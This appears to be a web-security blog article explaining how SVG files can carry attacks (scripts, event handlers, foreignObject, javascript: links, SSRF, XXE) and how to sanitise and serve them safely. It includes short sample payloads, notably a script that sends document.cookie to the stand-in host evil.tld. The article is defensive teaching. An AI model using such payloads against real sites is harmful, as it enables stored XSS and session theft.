Is SVG Safe? Attack Vectors, Sanitization, and the Honest Answer
Yes, SVG can be dangerous — and yes, you can make it safe. The honest answer is “it depends entirely on what you do with it.” A ten-byte SVG icon you authored yourself and shipped from your own CDN is fundamentally not the same animal as a user-uploaded SVG that lands in your CMS and gets served back to other users. This article goes through the actual attack surface, the realistic mitigations, and the decision-tree for when to worry.
The short answer
SVGs you authored and ship yourself: safe. Treat them like any other static asset.
SVGs uploaded by users and served back to other users: dangerous by default, safe only if you sanitise on ingestion (DOMPurify or equivalent), serve them as <img> rather than inline, and ideally serve them from a separate domain with a strict Content Security Policy. Each of those three steps blocks a different attack class. Skipping any of them means you are one bug report away from a stored cross-site scripting (XSS) incident.
SVGs from third-party libraries (npm, icon packs from GitHub, Figma community files): medium risk. Treat them like any other dependency — read the package, pin versions, and run them through an optimiser like SVGO, which incidentally strips most dangerous constructs as a side-effect.
Why SVG is different from PNG and JPG
PNG and JPG are containers for pixels. The browser decodes them into a bitmap and paints that bitmap. There is nothing in either format that can execute code, fetch external resources, or interact with the surrounding page. The worst a malicious PNG can do is exploit a decoder bug in the browser’s libpng, which is the kind of thing that produces one CVE every couple of years and gets patched within a week.
SVG is a different beast. SVG is XML. It is a full document format with its own DOM, its own scripting model, its own external-resource handling, and its own animation engine. When a browser renders an SVG inline (or via <object>, or <iframe>, or <embed>), all of that machinery is enabled by default. A malicious SVG can run JavaScript in the context of your origin, read your cookies, exfiltrate session tokens, fetch internal URLs, and do anything else a regular script on your page could do.
That is not a bug in SVG. It is part of the design — the spec was intentionally written to make SVG a first-class web document so that you could build interactive maps, animated charts, and DOM-scripted illustrations. The price of that power is the same price every other executable web format pays: untrusted input is not safe to render without sanitisation.
The actual attack surface
Here are the dangerous constructs every SVG security review eventually enumerates. None of these are theoretical — they have all been used in real bug bounty submissions and real CVEs.
<script> tags
The most obvious vector. SVG’s spec defines <script> exactly the way HTML does. A malicious SVG can ship its own JavaScript, and when the browser renders the SVG inline, the script runs in the context of the embedding document’s origin.
<svg xmlns="http://www.w3.org/2000/svg">
<script>fetch('//evil.tld/?'+document.cookie)</script>
</svg>Event-handler attributes
SVG supports the same intrinsic event handlers as HTML: onload, onclick, onmouseover, onerror, and a long tail of others. They execute JavaScript in attribute values, which means even if you stripped <script> tags, an attacker can still smuggle code in.
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)">
<circle r="50" onclick="evil()"/>
</svg><foreignObject>
One of the more surprising features of SVG: it can embed arbitrary XHTML inside <foreignObject>. Browsers happily render the embedded HTML, including <iframe>, <object>, full styling, and HTML event handlers. For a sanitiser this means you can’t just sanitise SVG — you have to sanitise the embedded HTML too.
href="javascript:..." on links
SVG has its own <a> element with an href (or the older xlink:href). The javascript: pseudo-protocol works inside it, exactly as in HTML. The attack triggers on user click rather than on render, which can be enough to bypass naive sanitisers that only look at render-time execution.
<use href="..."> with external or data URIs
The <use> element references another SVG fragment by URL. Historically several browsers allowed <use> to fetch data URIs and even cross-origin URLs (this has been tightened up a lot since 2017, but old assumptions still get exploited). A malicious SVG can declare a <use href="data:image/svg+xml,..."> where the embedded data is itself an SVG containing a script tag.
<image href="..."> for SSRF
SVG’s <image> element accepts arbitrary URLs. If your application renders user-supplied SVG server-side (for example to generate thumbnails with librsvg or headless Chrome), a malicious SVG can declare an <image> pointing at an internal URL — your metadata service, your Redis instance, an internal admin endpoint — and the rendering server will dutifully fetch it. This is server-side request forgery (SSRF) and has produced a steady stream of bug bounty payouts against companies that server-render user SVG.
XXE and Billion Laughs
SVG is XML, so it inherits XML’s entire taxonomy of denial-of-service and information-disclosure attacks. The classic Billion Laughs attack defines nested entities that expand exponentially, exhausting memory in any unconfigured XML parser. XXE (XML External Entity) attacks declare entities that point at internal files or URLs and read them into the document. Both are mitigated by configuring your XML parser to ignore DOCTYPEs and entities — which any modern, sane parser does by default, but old PHP and Java configurations sometimes still don’t.
The “use an <img> tag” advice — what’s true
You will read everywhere that “loading SVG via <img> is safe because scripts don’t run.” This is true. When a browser loads an SVG via the <img> element (or as a CSS background-image), it switches into a restricted mode:
- Scripts do not execute. Both
<script>tags and event handlers are inert. - External resources are blocked. No fetching of external scripts, no
<image href="...">to off-origin URLs. - The SVG cannot interact with the parent document. No DOM access, no cookies.
This is a real and meaningful security boundary. If your only goal is to display a user-uploaded SVG without giving it execution rights, serving it through <img> is by far the easiest defence.
What people sometimes leave out: this protection only applies when the SVG is loaded via <img>. The moment you switch to inline rendering — for example to make the SVG styleable with CSS, or accessible with aria-label, or animated with JavaScript — all of those protections evaporate. And if you let the user click a direct link to the SVG file (right-click → open image in new tab), the browser navigates to the SVG as a top-level document, and scripts run again. The <img> shield protects the embed context, not the file itself.
Sanitisation: the actual fix
The robust, defence-in-depth answer is: do not trust user-supplied SVG. Sanitise it on ingestion, before it ever lands in your storage. The industry-standard library for this is DOMPurify by cure53. It runs in the browser or in Node (with jsdom), parses the SVG into a DOM, and walks the tree removing anything not on its allow-list. The default SVG profile blocks <script>, all event-handler attributes, <foreignObject>, javascript: pseudo-protocols, and more.
import DOMPurify from 'isomorphic-dompurify';
const clean = DOMPurify.sanitize(userSVG, {
USE_PROFILES: { svg: true, svgFilters: true },
});For non-JavaScript backends, the equivalent libraries are svg-sanitizer (PHP, used by WordPress’s Safe SVG plugin), sanitize-svg (Python), and the JSoup library configured with an SVG-aware allowlist (Java). All of them work on the same principle: parse, walk, allowlist.
A nice side-effect of running SVG through SVGO as part of your ingestion pipeline: while SVGO’s primary job is optimisation, several of its default plugins (removeScriptElement, removeOnEventHandlers, removeAttrs) strip the obvious script vectors. SVGO is not a security tool — do not use it alone — but pairing it with DOMPurify catches more than either does on its own.
Defence in depth
A security-conscious deployment of user-uploaded SVG layers multiple defences so that no single bug compromises the system:
- Sanitise on upload. Run DOMPurify (or equivalent) server-side before the file is stored. If the sanitiser changes the file, store the sanitised version, never the original. This means even if a future bug in your serving path enables script execution, the stored payload is already neutered.
- Serve via
<img>when possible. Avoid inline-rendering user content unless you absolutely need it. If you do need inline (for accessibility or styling), keep sanitisation strict. - Strict Content Security Policy. A CSP with
script-src 'self'and no'unsafe-inline'blocks any inline script that survived sanitisation. CSPs do not replace sanitisation, but they catch sanitiser bypasses, which exist. - Serve user content from a different origin. The classical fix: host user uploads on
userassets.example.com, notexample.com. Same-Origin Policy then prevents any sneaky XSS from reading cookies on your main app. Content-Disposition: attachmentfor downloads-only flows. If users only need to download the SVG (not view it in-browser), serving it withContent-Disposition: attachmentforces a download instead of rendering. Inelegant but bulletproof.- Disable XML DOCTYPEs in your parser. Most modern XML parsers do this by default; verify that yours does, especially in PHP and old Java stacks.
WordPress, the special case
WordPress refuses to accept SVG uploads in its default media library — and the WordPress security team has been deliberate about this for years. Almost every “allow SVG uploads” plugin works by adding image/svg+xml to the allowed MIME types and either sanitising via svg-sanitizer or doing nothing at all. The well-audited option is Safe SVG by 10up; it bundles svg-sanitizer and runs every upload through it before storage. CVEs are routinely filed against the alternative plugins that do not sanitise: as recently as 2024, CVE-2024-9111 (Product Designer plugin) and CVE-2024-7301 (WordPress File Upload plugin) were both stored-XSS-via-SVG-upload vulnerabilities, and there will be more.
The decision tree
Pull this out next time someone asks “is SVG safe?”:
- Are you authoring all the SVGs yourself? Safe. Run them through SVGO for size, ship them as static assets, move on.
- Are the SVGs from a third-party icon library? Probably safe, but read the package, pin the version, and run them through SVGO as a hygiene step.
- Will users upload SVGs and have them served back to other users? Dangerous by default. Sanitise on upload (DOMPurify / svg-sanitizer), serve via
<img>if possible, deploy a strict CSP, and consider hosting user uploads on a separate origin. - Will you server-render user SVG (thumbnails, previews, PDFs)? Add SSRF protection. Block the renderer’s outbound network to internal addresses. Disable
<image>external fetches in the renderer if you can.
The honest takeaway
SVG is a perfectly good format that happens to be a full programming environment, and treating it like a file format will eventually hurt you. Treat it like a document format — the same way you treat HTML — and you will be fine. Sanitise on the boundary, serve through the safest available primitive, and layer defences. People have been shipping user-uploaded SVG safely for fifteen years; the techniques are mature and well-understood. The companies that get hit are the ones that took the “it’s just an image” shortcut.
Further reading: cure53’s DOMPurify documentation and the OWASP XSS Prevention Cheat Sheet are the canonical references.
Optimize SVGs instantly — no setup needed
500 free optimizations per month. No credit card required.
Get a free API key →